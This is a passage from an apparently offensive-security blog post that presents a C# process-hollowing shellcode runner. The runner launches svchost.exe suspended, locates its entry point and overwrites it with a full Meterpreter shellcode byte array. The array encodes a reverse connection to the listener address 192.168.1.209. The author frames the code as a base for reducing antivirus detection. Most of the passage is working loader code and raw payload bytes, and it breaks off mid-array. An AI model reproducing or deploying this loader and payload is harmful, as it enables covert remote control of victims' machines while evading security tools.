class="m">0xc1</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xcf</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xd1</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0xa4</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0xe5</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xda</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x96</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0xb2</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x07</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xda</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span> <span class="p">};</span>
            <span class="c1">//We have obtained the address of the EntryPoint so we can generate our Meterpreter shellcode and use WriteProcessMemory to overwrite the existing code</span>
            <span class="nf">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">addressOfEntryPoint</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="c1">//When CreateProcessW started svchost.exe and populated the PROCESS_INFORMATION structure, it also copied the handle of the main thread into it.</span>
            <span class="c1">//Thus we can call the handle of the thread directly as the argument to ResumeThread</span>
            <span class="nf">ResumeThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
            <span class="c1">//We now have all the pieces to create a suspended process, hollow out its original code, replace it with our shellcode, and subsequently execute it.</span>
        <span class="p">}</span> 
</code></pre></div></div>

<h3 id="a-brief-overview-of-how-this-works">A Brief Overview of How This Works</h3>

<p>I will not go very deep into how this code works as there are several resources online that already show this same type of shellcode runner and how it functions in detail.</p>

<p>For a more detailed explanation, I recommend reading the following blog post:</p>

<p><a href="https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/">https://crypt0ace.github.io/posts/Shellcode-Injection-Techniques-Part-2/</a></p>

<p>So this section will only briefly go over how the shellcode runner works so that the following sections on how I modified the code to decrease the detection rates will make more sense.</p>

<p>The first two lines of code within the <strong>Main</strong> method instantiate a <strong>STARTUPINFO</strong> and <strong>PROCESS_INFORMATION</strong> object:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="n">STARTUPINFO</span> <span class="n">si</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">STARTUPINFO</span><span class="p">();</span> <span class="c1">//Instantiate a STARTUPINFO and PROCESS_INFORMATION object</span>
            <span class="n">PROCESS_INFORMATION</span> <span class="n">pi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_INFORMATION</span><span class="p">();</span> 
</code></pre></div></div>

<p>We must instantiate these objects because they will be passed to <strong>CreateProcess</strong> to, well, create the process.</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="kt">bool</span> <span class="n">res</span> <span class="p">=</span> <span class="nf">CreateProcess</span><span class="p">(</span><span class="k">null</span><span class="p">,</span> <span class="s">"C:\\Windows\\System32\\svchost.exe"</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="c1">//We then supply our instantiated objects to CreateProcess</span>
                <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">false</span><span class="p">,</span> <span class="m">0x4</span><span class="p">,</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">,</span> <span class="k">null</span><span class="p">,</span> <span class="k">ref</span> <span class="n">si</span><span class="p">,</span> <span class="k">out</span> <span class="n">pi</span><span class="p">);</span> 
</code></pre></div></div>

<p>The <strong>CreateProcessW</strong> API function accepts ten parameters, but there are only four parameters that we really need to pay attention to here.</p>

<p>You can view the documentation for the API here:</p>

<p><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw">https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessw</a></p>

<p>The second parameter, <strong>lpCommandLine</strong>, takes the file path to the process we want to execute as an argument. Here, we have given it the file path to svchost.exe.</p>

<p>The sixth parameter, <strong>dwCreationFlags</strong>, takes the flags that control the priority class and the creation of the process. We will pass this parameter the numerical representation of the CREATE_SUSPENDED flag, “0x4”. This will cause the svchost.exe process to be created in a suspended state.</p>

<p>The ninth parameter, <strong>lpStartupInfo</strong>, is a pointer to the STARTUPINFO structure we created at the beginning of our program.</p>

<p>Lastly, the tenth parameter, <strong>lpProcessInformation</strong>, is a pointer to the PROCESS_INFORMATION structure we created at the beginning of our program.</p>

<p>With this information, the <strong>CreateProcessW</strong> API can launch svchost.exe in a suspended state.</p>

<p>Next, we must utilize the Win32 API <strong>ZwQueryInformationProcess</strong> to locate the PEB address of the svchost.exe executable:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>           <span class="n">PROCESS_BASIC_INFORMATION</span> <span class="n">bi</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PROCESS_BASIC_INFORMATION</span><span class="p">();</span> <span class="c1">//We can now call ZwQueryInformationProcess and fetch the address of the PEB from the PROCESS_BASIC_INFORMATION structure</span>
            <span class="kt">uint</span> <span class="n">tmp</span> <span class="p">=</span> <span class="m">0</span><span class="p">;</span>
            <span class="n">IntPtr</span> <span class="n">hProcess</span> <span class="p">=</span> <span class="n">pi</span><span class="p">.</span><span class="n">hProcess</span><span class="p">;</span>
            <span class="nf">ZwQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="k">ref</span> <span class="n">bi</span><span class="p">,</span> <span class="p">(</span><span class="kt">uint</span><span class="p">)(</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span> <span class="p">*</span> <span class="m">6</span><span class="p">),</span> <span class="k">ref</span> <span class="n">tmp</span><span class="p">);</span>
            <span class="n">IntPtr</span> <span class="n">ptrToImageBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)((</span><span class="n">Int64</span><span class="p">)</span><span class="n">bi</span><span class="p">.</span><span class="n">PebAddress</span> <span class="p">+</span> <span class="m">0x10</span><span class="p">);</span> <span class="c1">//ptrToImageBase var now contains a ptr to the img base of svchost.exe in the suspended process </span>
</code></pre></div></div>

<p>With the PEB address of the executable located, the code then uses the <strong>ReadProcessMemory</strong> API function to parse the PEB of the remote process and perform some complicated math to obtain the full memory address of the EntryPoint:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="kt">byte</span><span class="p">[]</span> <span class="n">addrBuf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="n">IntPtr</span><span class="p">.</span><span class="n">Size</span><span class="p">];</span> <span class="c1">//Following the DllImport, we can call ReadProcessMemory by specifying an 8-byte buffer that is then converted to a 64bit integer through the BitConverter.ToInt648 method and then casted to a pointer using (IntPtr).</span>
            <span class="n">IntPtr</span> <span class="n">nRead</span> <span class="p">=</span> <span class="n">IntPtr</span><span class="p">.</span><span class="n">Zero</span><span class="p">;</span>
            <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">ptrToImageBase</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">,</span> <span class="n">addrBuf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="c1">//It is worth noting that a memory address takes up eight bytes in a 64-bit process, while it only uses four bytes in a 32-bit process, so the use of variable types, offsets, and amount of data read must be adapted.</span>
            <span class="n">IntPtr</span> <span class="n">svchostBase</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToInt64</span><span class="p">(</span><span class="n">addrBuf</span><span class="p">,</span> <span class="m">0</span><span class="p">));</span>
            <span class="c1">//The following step is to parse the PE header to locate the EntryPoint. This is performed by calling ReadProcessMemory again with a buffer size of 0x200 bytes </span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">data</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">0x200</span><span class="p">];</span>
            <span class="nf">ReadProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">svchostBase</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">data</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="c1">//To parse the PE header, we must read the content at offset 0x3C and use that as a second offset when added to 0x28</span>
            <span class="kt">uint</span> <span class="n">e_lfanew_offset</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="m">0x3C</span><span class="p">);</span>
            <span class="kt">uint</span> <span class="n">opthdr</span> <span class="p">=</span> <span class="n">e_lfanew_offset</span> <span class="p">+</span> <span class="m">0x28</span><span class="p">;</span>
            <span class="kt">uint</span> <span class="n">entrypoint_rva</span> <span class="p">=</span> <span class="n">BitConverter</span><span class="p">.</span><span class="nf">ToUInt32</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">opthdr</span><span class="p">);</span>
            <span class="c1">//The offset from the base address of svchost.exe to the EntryPoint is also called the relative virtual address (RVA). We must add it to the image base to obtain the full memory address of the EntryPoint.</span>
            <span class="n">IntPtr</span> <span class="n">addressOfEntryPoint</span> <span class="p">=</span> <span class="p">(</span><span class="n">IntPtr</span><span class="p">)(</span><span class="n">entrypoint_rva</span> <span class="p">+</span> <span class="p">(</span><span class="n">UInt64</span><span class="p">)</span><span class="n">svchostBase</span><span class="p">);</span> 
</code></pre></div></div>

<p>Yes, I know that skips over a lot, but if I didn’t, this post would be longer than a penguin’s debate on the merits of flying.</p>

<p>So, if you really want to understand how this code obtains the absolute EntryPoint, read the blog post I linked above.</p>

<p>Anyways, after we have obtained the absolute EntryPoint, we can use <strong>WriteProcessMemory</strong> to overwrite the existing code with our Meterpreter shellcode and call <strong>ResumeThread</strong> to continue the execution of svchost.exe:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="kt">byte</span><span class="p">[]</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">676</span><span class="p">]</span> <span class="p">{</span> <span class="m">0xfc</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xe4</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0xcc</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x60</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xb7</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x61</span><span class="p">,</span> <span class="m">0x7c</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0xed</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x3c</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x81</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x0b</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0xe3</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x34</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0xd1</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xd8</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x0c</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x04</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xd0</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x5e</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xec</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0xe9</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0x5d</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xdb</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xbe</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x4c</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x26</span><span class="p">,</span> <span class="m">0x07</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe1</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0xa7</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x39</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0x9f</span><span class="p">,</span> <span class="m">0xc6</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x2f</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0x71</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x6d</span><span class="p">,</span> <span 